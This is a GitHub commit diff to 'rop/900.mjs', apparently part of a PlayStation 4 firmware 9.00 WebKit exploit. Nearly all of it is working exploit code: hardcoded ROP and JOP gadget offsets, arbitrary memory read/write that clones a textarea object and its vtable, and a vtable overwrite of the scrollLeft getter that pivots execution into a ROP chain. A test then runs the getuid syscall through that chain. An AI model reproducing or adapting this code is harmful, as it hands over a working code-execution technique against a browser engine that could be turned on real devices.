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Update 900.mjs
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@kmeps4
kmeps4 committed Feb 10, 2024
1 parent e0f2ad0 commit 9a1408a
Showing 1 changed file with 93 additions and 78 deletions.
171 changes: 93 additions & 78 deletions rop/900.mjs
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Original file line number Diff line number Diff line change
Expand Up @@ -42,9 +42,7 @@ const url = `${origin}:${port}`;

const syscall_array = [];

const offset_func_exec = 0x18;
const offset_textarea_impl = 0x18;
const offset_js_inline_prop = 0x10;

// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x178;
Expand Down Expand Up @@ -74,58 +72,49 @@ let libkernel_base = null;
// libSceLibcInternal.sprx
let libc_base = null;

// Chain implementation based on Chain803. Replaced offsets that changed
// Chain implementation based on Chain800. Replaced offsets that changed
// between versions. Replaced gadgets that were missing with new ones that
// won't change the API.
//

// gadgets for the JOP chain
//
// Why these JOP chain gadgets are not named jop1-3 and jop2-5 not jop4-7 is
// because jop1-5 was the original chain used by the old implementation of
// Chain803. Now the sequence is ta_jop1-3 then to jop2-5.
//
// When the scrollLeft getter native function is called on PS4 9.00, rsi is the
// JS wrapper for the WebCore textarea class.
const ta_jop1 = `
mov rdi, qword ptr [rsi + 0x18]
const jop1 = `
mov rdi, qword ptr [rsi + 0x20]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0xb8]
call qword ptr [rax + 0x28]
`;
// Since the method of code redirection we used is via redirecting a call to
// jump to our JOP chain, we have the return address of the caller on entry.
//
// ta_jop1 pushed another object (via the call instruction) but we want no
// extra objects between the return address and the rbp that will be pushed by
// jop2 later. So we pop the return address pushed by ta_jop1.
// jop1 pushed another object (via the call instruction) but we want no extra
// objects between the return address and the rbp that will be pushed by jop3
// later. So we pop the return address pushed by jop1.
//
// This will make pivoting back easy, just "leave; ret".
const ta_jop2 = `
pop rsi
jmp qword ptr [rax + 0x1c]
`;
const ta_jop3 = `
mov rdi, qword ptr [rax + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x30]
const jop2 = `
pop rcx
jmp qword ptr [rax + 0x7d]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop2 = `
const jop3 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x58]
`;
const jop3 = `
const jop4 = `
mov rdx, qword ptr [rax + 0x18]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x10]
`;
const jop4 = `
const jop5 = `
push rdx
jmp qword ptr [rax]
`;
const jop5 = 'pop rsp; ret';
const jop6 = 'pop rsp; ret';

// the ps4 firmware is compiled to use rbp as a frame pointer
//
Expand All @@ -141,6 +130,11 @@ const jop5 = 'pop rsp; ret';
// pop rbp
const rop_epilogue = 'leave; ret';

const push_rdx_jmp = `
push rdx
jmp qword ptr [rax]
`;

const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000051a12,
'pop rbx; ret' : 0x00000000000be5d0,
Expand Down Expand Up @@ -168,24 +162,22 @@ const webkit_gadget_offsets = new Map(Object.entries({
'neg rax; and rax, rcx; ret' : 0x00000000019771c4,
'adc esi, esi; ret' : 0x000000000148874e,
'add rax, rdx; ret' : 0x00000000003f662c,
'push rsp; jmp qword ptr [rax]' : 0x0000000002bae87f,
'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x0000000001b1ed66,
'pop rsi; jmp qword ptr [rax + 0x1c]' : 0x00000000021fce7e,

'mov qword ptr [rdi], rsi; ret' : 0x0000000000040300,
'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc,
'mov qword ptr [rdi], rax; ret' : 0x000000000000613b,
'mov dword ptr [rdi], eax; ret' : 0x000000000000613c,
'mov rdx, rcx; ret' : 0x000000000157fe71,

[jop2] : 0x0000000000683800,
[jop3] : 0x0000000000303906,
[jop4] : 0x00000000028bd332,
[jop5] : 0x000000000004e293,
[push_rdx_jmp] : 0x00000000028bd332,

[ta_jop1] : 0x00000000004e62a4,
[ta_jop2] : 0x00000000021fce7e,
[ta_jop3] : 0x00000000019becb4,
[jop1] : 0x0000000000f2c778,
[jop2] : 0x0000000002c326c2,
[jop3] : 0x0000000000683800,
[jop4] : 0x0000000000303906,
[jop5] : 0x00000000028bd332,
[jop6] : 0x000000000004e293,
}));

const libc_gadget_offsets = new Map(Object.entries({
Expand All @@ -208,15 +200,11 @@ function get_bases() {
libwebkit_base
.add(offset_wk_stack_chk_fail)
;
const stack_chk_fail_addr = resolve_import(
stack_chk_fail_import,
true,
true
);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const libkernel_base = find_base(stack_chk_fail_addr, true, true);

const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
const memcpy_addr = resolve_import(memcpy_import, true, true);
const memcpy_addr = resolve_import(memcpy_import);
const libc_base = find_base(memcpy_addr, true, true);

return [
Expand All @@ -241,8 +229,8 @@ class Chain900Base extends ChainBase {
this.flag = new Uint8Array(8);
this.flag_addr = get_view_vector(this.flag);
this.jmp_target = new Uint8Array(0x100);
rw.write64(this.jmp_target, 0x1c, this.get_gadget(jop4));
rw.write64(this.jmp_target, 0, this.get_gadget(jop5));
rw.write64(this.jmp_target, 0x1c, this.get_gadget(push_rdx_jmp));
rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));

// for save/restore
this.is_saved = false;
Expand Down Expand Up @@ -461,6 +449,8 @@ class Chain900Base extends ChainBase {
this.push_end();
this.run();
this.clean();

return this.return_value;
}

syscall(...args) {
Expand All @@ -472,70 +462,96 @@ class Chain900Base extends ChainBase {
this.push_end();
this.run();
this.clean();

return this.return_value;
}
}

// helper object for ROP
const rop_ta = document.createElement('textarea');

// Chain for PS4 9.00
class Chain900 extends Chain900Base {
constructor() {
super();

const textarea = document.createElement('textarea');
this.textarea = textarea;
const js_ta = mem.addrof(textarea);
const webcore_ta = js_ta.readp(0x18);
this.webcore_ta = webcore_ta;
// Only offset 0x1c8 will be used when calling the scrollLeft getter
// native function (our tests don't crash).
//
// This implies we don't need to know the exact size of the vtable and
// try to copy it as much as possible to avoid a crash due to missing
// vtable entries.
// sizeof JSC:JSObject, the JSCell + the butterfly field
const js_size = 0x10;
// sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
const js_ta_size = 0x20;
// start of the array of inline properties (JSValues)
const offset_js_inline_prop = 0x10;
// Sizes may vary between webkit versions so we just assume a size
// that we think is large enough for all of them.
const vtable_size = 0x1000;
const webcore_ta_size = 0x180;

const ta_clone = {};
this.ta_clone = ta_clone;
const clone_p = mem.addrof(ta_clone);
const ta_p = mem.addrof(rop_ta);

for (let i = js_size; i < js_ta_size; i += 8) {
clone_p.write64(i, ta_p.read64(i));
}

const webcore_ta = ta_p.readp(offset_textarea_impl);
const m_wrapped_clone = new Uint8Array(
make_buffer(webcore_ta, webcore_ta_size)
);
this.m_wrapped_clone = m_wrapped_clone;

// Replicate the vtable as much as possible or else the garbage
// collector will crash. It uses functions from the vtable.
//
// So the rest of the vtable are free for our use.
const vtable = new Uint8Array(0x200);
const old_vtable_p = webcore_ta.readp(0);
this.vtable = vtable;
this.old_vtable_p = old_vtable_p;
// There is no need to restore the original vtable pointer later since
// it points to a copy with only offset 0x1b8 changed. The scrollLeft
// getter is not used by the GC.
const vtable_clone = new Uint8Array(
make_buffer(webcore_ta.readp(0), vtable_size)
);
this.vtable_clone = vtable_clone

clone_p.write64(
offset_textarea_impl,
get_view_vector(m_wrapped_clone),
);
rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));

clone_p.write64(0, ta_p.read64(0));

// 0x1b8 is the offset of the scrollLeft getter native function
rw.write64(vtable, 0x1b8, this.get_gadget(ta_jop1));
rw.write64(vtable, 0xb8, this.get_gadget(ta_jop2));
rw.write64(vtable, 0x1c, this.get_gadget(ta_jop3));
rw.write64(vtable_clone, 0x1b8, this.get_gadget(jop1));

// for the JOP chain
const rax_ptrs = new Uint8Array(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
this.rax_ptrs = rax_ptrs;

//rw.write64(rax_ptrs, 8, this.get_gadget(jop2));
rw.write64(rax_ptrs, 0x30, this.get_gadget(jop2));
rw.write64(rax_ptrs, 0x58, this.get_gadget(jop3));
rw.write64(rax_ptrs, 0x10, this.get_gadget(jop4));
rw.write64(rax_ptrs, 0, this.get_gadget(jop5));
rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
rw.write64(rax_ptrs, 0x7d, this.get_gadget(jop3));
rw.write64(rax_ptrs, 0x58, this.get_gadget(jop4));
rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
// value to pivot rsp to
rw.write64(this.rax_ptrs, 0x18, this.stack_addr);
rw.write64(rax_ptrs, 0x18, this.stack_addr);

const jop_buffer = new Uint8Array(8);
const jop_buffer_p = get_view_vector(jop_buffer);
this.jop_buffer = jop_buffer;

rw.write64(jop_buffer, 0, rax_ptrs_p);

rw.write64(vtable, 8, jop_buffer_p);
clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
}

run() {
this.check_stale();
this.check_is_empty();
this.check_is_branching();

// change vtable
this.webcore_ta.write64(0, get_view_vector(this.vtable));
// jump to JOP chain
this.textarea.scrollLeft;
// restore vtable
this.webcore_ta.write64(0, this.old_vtable_p);
this.ta_clone.scrollLeft;
}
}
const Chain = Chain900;
Expand Down Expand Up @@ -658,13 +674,12 @@ function test_rop(Chain) {
const magic = 0x4b435546;
rw.write32(chain._return_value, 0, magic);

chain.syscall('getuid');
const res = chain.syscall('getuid');

debug_log(`return value: ${chain.return_value}`);
if (chain.return_value.low() === magic) {
debug_log(`return value: ${res}`);
if (res.eq(magic)) {
die('syscall getuid failed');
}
}

debug_log('Chain900');
test_rop(Chain);

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